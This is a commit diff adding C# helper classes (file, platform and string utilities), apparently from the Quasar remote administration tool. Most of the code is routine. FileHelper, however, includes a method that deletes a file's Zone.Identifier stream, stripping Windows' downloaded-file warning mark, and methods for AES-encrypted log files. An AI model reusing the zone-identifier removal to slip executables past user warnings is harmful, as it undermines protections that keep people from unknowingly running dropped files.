initial commit
This commit is contained in:
@@ -0,0 +1,101 @@
|
||||
using Quasar.Common.Cryptography;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Common.Helpers
|
||||
{
|
||||
public static class FileHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// List of illegal path characters.
|
||||
/// </summary>
|
||||
private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
|
||||
|
||||
/// <summary>
|
||||
/// Indicates if the given path contains illegal characters.
|
||||
/// </summary>
|
||||
/// <param name="path">The path to check.</param>
|
||||
/// <returns>Returns <value>true</value> if the path contains illegal characters, otherwise <value>false</value>.</returns>
|
||||
public static bool HasIllegalCharacters(string path)
|
||||
{
|
||||
return path.Any(c => IllegalPathChars.Contains(c));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets a random file name.
|
||||
/// </summary>
|
||||
/// <param name="length">The length of the file name.</param>
|
||||
/// <param name="extension">The file extension including the dot, e.g. <value>.exe</value>.</param>
|
||||
/// <returns>The random file name.</returns>
|
||||
public static string GetRandomFilename(int length, string extension = "")
|
||||
{
|
||||
return string.Concat(StringHelper.GetRandomString(length), extension);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets a path to an unused temp file.
|
||||
/// </summary>
|
||||
/// <param name="extension">The file extension including the dot, e.g. <value>.exe</value>.</param>
|
||||
/// <returns>The path to the temp file.</returns>
|
||||
public static string GetTempFilePath(string extension)
|
||||
{
|
||||
string tempFilePath;
|
||||
do
|
||||
{
|
||||
tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
|
||||
} while (File.Exists(tempFilePath));
|
||||
|
||||
return tempFilePath;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Indicates if the given file header contains the executable identifier (magic number) 'MZ'.
|
||||
/// </summary>
|
||||
/// <param name="binary">The binary file to check.</param>
|
||||
/// <returns>Returns <value>true</value> for valid executable identifiers, otherwise <value>false</value>.</returns>
|
||||
public static bool HasExecutableIdentifier(byte[] binary)
|
||||
{
|
||||
if (binary.Length < 2) return false;
|
||||
return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M');
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the zone identifier for the given file path.
|
||||
/// </summary>
|
||||
/// <param name="filePath">The file path.</param>
|
||||
/// <returns>Returns <value>true</value> if the deletion was successful, otherwise <value>false</value>.</returns>
|
||||
public static bool DeleteZoneIdentifier(string filePath)
|
||||
{
|
||||
return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Appends text to a log file.
|
||||
/// </summary>
|
||||
/// <param name="filename">The filename of the log.</param>
|
||||
/// <param name="appendText">The text to append.</param>
|
||||
/// <param name="aes">The AES instance.</param>
|
||||
public static void WriteLogFile(string filename, string appendText, Aes256 aes)
|
||||
{
|
||||
appendText = ReadLogFile(filename, aes) + appendText;
|
||||
|
||||
using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
|
||||
{
|
||||
byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
|
||||
fStream.Seek(0, SeekOrigin.Begin);
|
||||
fStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reads a log file.
|
||||
/// </summary>
|
||||
/// <param name="filename">The filename of the log.</param>
|
||||
/// <param name="aes">The AES instance.</param>
|
||||
public static string ReadLogFile(string filename, Aes256 aes)
|
||||
{
|
||||
return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
using System;
|
||||
using System.Management;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Quasar.Common.Helpers
|
||||
{
|
||||
public static class PlatformHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes the <see cref="PlatformHelper"/> class.
|
||||
/// </summary>
|
||||
static PlatformHelper()
|
||||
{
|
||||
Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT;
|
||||
XpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5;
|
||||
VistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6;
|
||||
SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1));
|
||||
EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200));
|
||||
EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3));
|
||||
TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0));
|
||||
RunningOnMono = Type.GetType("Mono.Runtime") != null;
|
||||
|
||||
Name = "Unknown OS";
|
||||
using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
|
||||
{
|
||||
foreach (ManagementObject os in searcher.Get())
|
||||
{
|
||||
Name = os["Caption"].ToString();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
|
||||
Is64Bit = Environment.Is64BitOperatingSystem;
|
||||
FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the full name of the operating system running on this computer (including the edition and architecture).
|
||||
/// </summary>
|
||||
public static string FullName { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the operating system running on this computer (including the edition).
|
||||
/// </summary>
|
||||
public static string Name { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether the Operating System is 32 or 64-bit.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is 64-bit, otherwise <c>false</c> for 32-bit.
|
||||
/// </value>
|
||||
public static bool Is64Bit { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a indicating whether the application is running in Mono runtime.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the application is running in Mono runtime; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool RunningOnMono { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a indicating whether the Operating System is Windows 32 NT based.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 32 NT based; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool Win32NT { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows XP or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows XP or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool XpOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows Vista or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows Vista or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool VistaOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 7 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 7 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool SevenOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 8 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 8 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool EightOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 8.1 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 8.1 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool EightPointOneOrHigher { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Returns a value indicating whether the Operating System is Windows 10 or higher.
|
||||
/// </summary>
|
||||
/// <value>
|
||||
/// <c>true</c> if the Operating System is Windows 10 or higher; otherwise, <c>false</c>.
|
||||
/// </value>
|
||||
public static bool TenOrHigher { get; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using Quasar.Common.Utilities;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Quasar.Common.Helpers
|
||||
{
|
||||
public static class StringHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Available alphabet for generation of random strings.
|
||||
/// </summary>
|
||||
private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
|
||||
/// <summary>
|
||||
/// Abbreviations of file sizes.
|
||||
/// </summary>
|
||||
private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" };
|
||||
|
||||
/// <summary>
|
||||
/// Random number generator.
|
||||
/// </summary>
|
||||
private static readonly SafeRandom Random = new SafeRandom();
|
||||
|
||||
/// <summary>
|
||||
/// Gets a random string with given length.
|
||||
/// </summary>
|
||||
/// <param name="length">The length of the random string.</param>
|
||||
/// <returns>A random string.</returns>
|
||||
public static string GetRandomString(int length)
|
||||
{
|
||||
StringBuilder randomName = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++)
|
||||
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
|
||||
|
||||
return randomName.ToString();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the human readable file size for a given size.
|
||||
/// </summary>
|
||||
/// <param name="size">The file size in bytes.</param>
|
||||
/// <returns>The human readable file size.</returns>
|
||||
public static string GetHumanReadableFileSize(long size)
|
||||
{
|
||||
double len = size;
|
||||
int order = 0;
|
||||
while (len >= 1024 && order + 1 < Sizes.Length)
|
||||
{
|
||||
order++;
|
||||
len = len / 1024;
|
||||
}
|
||||
return $"{len:0.##} {Sizes[order]}";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the formatted MAC address.
|
||||
/// </summary>
|
||||
/// <param name="macAddress">The unformatted MAC address.</param>
|
||||
/// <returns>The formatted MAC address.</returns>
|
||||
public static string GetFormattedMacAddress(string macAddress)
|
||||
{
|
||||
return (macAddress.Length != 12)
|
||||
? "00:00:00:00:00:00"
|
||||
: Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6");
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Safely removes the last N chars from a string.
|
||||
/// </summary>
|
||||
/// <param name="input">The input string.</param>
|
||||
/// <param name="amount">The amount of last chars to remove (=N).</param>
|
||||
/// <returns>The input string with N removed chars.</returns>
|
||||
public static string RemoveLastChars(string input, int amount = 2)
|
||||
{
|
||||
if (input.Length > amount)
|
||||
input = input.Remove(input.Length - amount);
|
||||
return input;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user